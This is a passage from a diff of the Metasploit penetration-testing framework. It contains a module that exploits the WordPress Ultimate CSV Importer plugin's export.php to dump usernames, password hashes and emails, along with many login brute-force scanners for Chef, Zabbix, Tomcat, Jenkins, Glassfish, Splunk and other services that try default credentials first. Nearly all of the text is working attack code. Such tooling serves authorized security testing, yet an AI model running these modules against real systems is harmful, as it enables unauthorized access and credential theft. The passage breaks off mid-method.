to execute the 'export.php' script included in the default installation of the
|
||||
Ultimate CSV Importer plugin and retrieve the full contents of the user table
|
||||
in the WordPress installation. This results in full disclosure of usernames,
|
||||
hashed passwords and email addresses for all users.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Hooker', # Disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '7778']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 02 2015'
|
||||
))
|
||||
end
|
||||
|
||||
def plugin_url
|
||||
normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer')
|
||||
end
|
||||
|
||||
def exporter_url
|
||||
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0')
|
||||
end
|
||||
|
||||
def process_row(row)
|
||||
if row[:user_login] && row[:user_pass]
|
||||
print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}")
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
private_type: :nonreplayable_hash,
|
||||
address: ::Rex::Socket.getaddress(rhost, true),
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
username: row[:user_login],
|
||||
private_data: row[:user_pass],
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
login_data.merge!(credential_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
|
||||
def parse_csv(body, delimiter)
|
||||
begin
|
||||
CSV::Converters[:blank_to_nil] = lambda do |field|
|
||||
field && field.empty? ? nil : field
|
||||
end
|
||||
csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil])
|
||||
csv.to_a.map { |row| process_row(row) }
|
||||
return true
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Requesting CSV extract...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => exporter_url,
|
||||
'vars_post' => { 'export' => 'users' }
|
||||
)
|
||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
|
||||
|
||||
print_status("#{peer} - Parsing response...")
|
||||
unless parse_csv(res.body, ',')
|
||||
unless parse_csv(res.body, ';')
|
||||
fail_with("#{peer} - Failed to parse response, the CSV was invalid")
|
||||
end
|
||||
end
|
||||
|
||||
store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')
|
||||
print_good("#{peer} - CSV saved to #{store_path}")
|
||||
end
|
||||
end
|
|
@ -75,16 +75,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::HTTP.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
configure_http_login_scanner(
|
||||
uri: "/stop",
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -79,18 +79,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Axis2.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
uri: uri,
|
||||
proxies: proxies,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
uri: uri,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -34,27 +34,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Buffalo.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -0,0 +1,155 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/chef_webui'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Chef Web UI Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to login to Chef Web UI server instance using username and password
|
||||
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
|
||||
will also test for the default login (admin:p@ssw0rd1).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# main
|
||||
#
|
||||
def run_host(ip)
|
||||
init_loginscanner(ip)
|
||||
msg = @scanner.check_setup
|
||||
if msg
|
||||
print_brute :level => :error, :ip => rhost, :msg => msg
|
||||
return
|
||||
end
|
||||
|
||||
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def do_report(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def init_loginscanner(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
# Always try the default first
|
||||
@cred_collection.prepend_cred(
|
||||
Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
|
||||
configure_http_login_scanner(
|
||||
uri: datastore['TARGETURI'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
end
|
|
@ -52,11 +52,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# the LoginScanner class so the authentication can proceed properly
|
||||
#
|
||||
|
||||
# Overrides the ssl method from HttpClient
|
||||
def ssl
|
||||
@scanner.ssl || datastore['SSL']
|
||||
end
|
||||
|
||||
#
|
||||
# For a while, older versions of Glassfish didn't need to set a password for admin,
|
||||
# but looks like no longer the case anymore, which means this method is getting useless
|
||||
|
@ -95,19 +90,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
|
||||
@scanner.ssl = datastore['SSL']
|
||||
@scanner.ssl_version = datastore['SSLVERSION']
|
||||
end
|
||||
|
||||
def do_report(ip, port, result)
|
||||
|
|
|
@ -32,6 +32,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt")
|
||||
}
|
||||
))
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/proxy/ssllogin']),
|
||||
OptString.new('CPQLOGIN', [true, 'The homepage of the login', '/cpqlogin.htm']),
|
||||
OptString.new('LOGIN_REDIRECT', [true, 'The URL to redirect to', '/cpqlogin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_version(res)
|
||||
|
@ -76,20 +82,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::Smh.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
uri: datastore['URI'],
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
uri: datastore['LOGIN_URL'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
|
||||
@scanner.ssl = datastore['SSL']
|
||||
@scanner.ssl_version = datastore['SSLVERSION']
|
||||
end
|
||||
|
||||
def do_report(ip, port, result)
|
||||
|
@ -163,10 +163,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/cpqlogin.htm',
|
||||
'uri' => datastore['CPQLOGIN'],
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'RedirectUrl' => '/cpqlogin',
|
||||
'RedirectUrl' => datastore['LOGIN_REDIRECT'],
|
||||
'RedirectQueryString' => ''
|
||||
}
|
||||
})
|
||||
|
|
|
@ -22,10 +22,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'HTTP Login Utility',
|
||||
'Description' => 'This module attempts to authenticate to an HTTP service.',
|
||||
'References' =>
|
||||
[
|
||||
|
||||
],
|
||||
'Author' => [ 'hdm' ],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -74,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
/auth/
|
||||
/manager/
|
||||
/Management.asp
|
||||
/ews/
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -153,19 +150,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::HTTP.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
uri: @uri,
|
||||
method: datastore['REQUESTTYPE'],
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
uri: @uri,
|
||||
method: datastore['REQUESTTYPE'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
|
||||
msg = scanner.check_setup
|
||||
|
|
|
@ -38,18 +38,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::IPBoard.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
configure_http_login_scanner(
|
||||
uri: normalize_uri(target_uri.path),
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -33,27 +33,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -55,24 +55,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::MyBookLive.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
configure_http_login_scanner(
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
)
|
||||
)
|
||||
|
||||
if ssl
|
||||
scanner.ssl = datastore['SSL']
|
||||
scanner.ssl_version = datastore['SSLVERSION']
|
||||
end
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
|
|
|
@ -154,24 +154,30 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 303
|
||||
if not res
|
||||
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response")
|
||||
return :skip_pass
|
||||
end
|
||||
|
||||
unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
|
||||
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
|
||||
return :skip_pass
|
||||
else
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'splunk-web',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'splunk-web',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
|
|
|
@ -94,29 +94,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
)
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Tomcat.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
configure_http_login_scanner(
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
connection_timeout: 10
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -64,16 +64,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
configure_http_login_scanner(
|
||||
uri: wordpress_url_xmlrpc,
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
|
|
|
@ -0,0 +1,176 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/zabbix'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Zabbix Server Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to login to Zabbix server instance using username and password
|
||||
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
|
||||
will also test for the Zabbix default login (Admin:zabbix) and guest access.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),
|
||||
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# main
|
||||
#
|
||||
def run_host(ip)
|
||||
init_loginscanner(ip)
|
||||
msg = @scanner.check_setup
|
||||
if msg
|
||||
print_brute :level => :error, :ip => rhost, :msg => msg
|
||||
return
|
||||
end
|
||||
|
||||
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}")
|
||||
|
||||
if is_guest_mode_enabled?
|
||||
print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled"
|
||||
else
|
||||
print_brute :level=>:status, :ip=>rhost, :msg=>("Zabbix has disabled Guest mode")
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
|
||||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def do_report(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def init_loginscanner(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
# Always try the default first
|
||||
@cred_collection.prepend_cred(
|
||||
Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix')
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::Zabbix.new(
|
||||
configure_http_login_scanner(
|
||||
uri: datastore['TARGETURI'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# From the documentation:
|
||||
#
|
||||
# "In case of five consecutive failed login attempts, Zabbix interface will pause for 30
|
||||
# seconds in order to prevent brute force and dictionary attacks."
|
||||
#
|
||||
|
||||
# Zabbix enables a Guest mode by default that allows access to the dashboard without auth
|
||||
def is_guest_mode_enabled?
|
||||
